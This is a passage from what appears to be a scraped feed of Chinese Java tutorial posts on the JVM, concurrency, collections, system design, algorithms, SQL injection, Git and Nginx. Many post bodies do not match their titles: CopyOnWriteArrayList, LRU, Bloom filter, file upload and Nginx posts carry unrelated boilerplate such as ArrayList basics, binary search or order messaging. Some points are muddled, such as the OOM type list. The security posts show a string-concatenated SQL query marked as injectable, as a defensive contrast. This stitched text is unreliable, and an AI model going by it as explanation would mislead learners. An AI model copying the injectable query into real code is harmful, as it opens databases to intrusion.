如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM AQS 为什么是并发工具的基础 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS 为什么是并发工具的基础

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 线程池参数如何设置才靠谱 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 线程池参数如何设置才靠谱

线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 CopyOnWriteArrayList 适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ CopyOnWriteArrayList 适合什么场景

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ ArrayList 扩容机制和使用建议

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA 文件上传服务如何保证稳定 //wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/ 文件上传服务如何保证稳定

文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 订单超时取消如何实现 //ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/ 订单超时取消如何实现

订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 秒杀系统的核心设计思路 //miao-sha-xi-tong-de-he-xin-she-ji-si-lu/ 秒杀系统的核心设计思路

秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 短链接系统如何设计 //duan-lian-jie-xi-tong-ru-he-she-ji/ 短链接系统如何设计

短链接系统是一个经典的系统设计题。本文讲它的核心思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 布隆过滤器适合解决什么问题 //bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/ 布隆过滤器适合解决什么问题

布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 LRU 缓存淘汰算法动手实现 //lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/ LRU 缓存淘汰算法动手实现

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 二分查找为什么容易写错 //er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/ 二分查找为什么容易写错

二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 密码存储为什么不能明文 //mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/ 密码存储为什么不能明文

密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 接口鉴权和权限校验的区别 //jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/ 接口鉴权和权限校验的区别

接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 SQL 注入原理和防护方法 //sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/ SQL 注入原理和防护方法

SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 Git 冲突解决的正确顺序 //git-chong-tu-jie-jue-de-zheng-que-shun-xu/ Git 冲突解决的正确顺序

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git rebase 和 merge 怎么选 //git-rebase-he-merge-zen-me-xuan/ Git rebase 和 merge 怎么选

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git 提交前如何检查改动 //git-ti-jiao-qian-ru-he-jian-cha-gai-dong/ Git 提交前如何检查改动

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Nginx 配置修改后的验证流程 //nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/ Nginx 配置修改后的验证流程

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
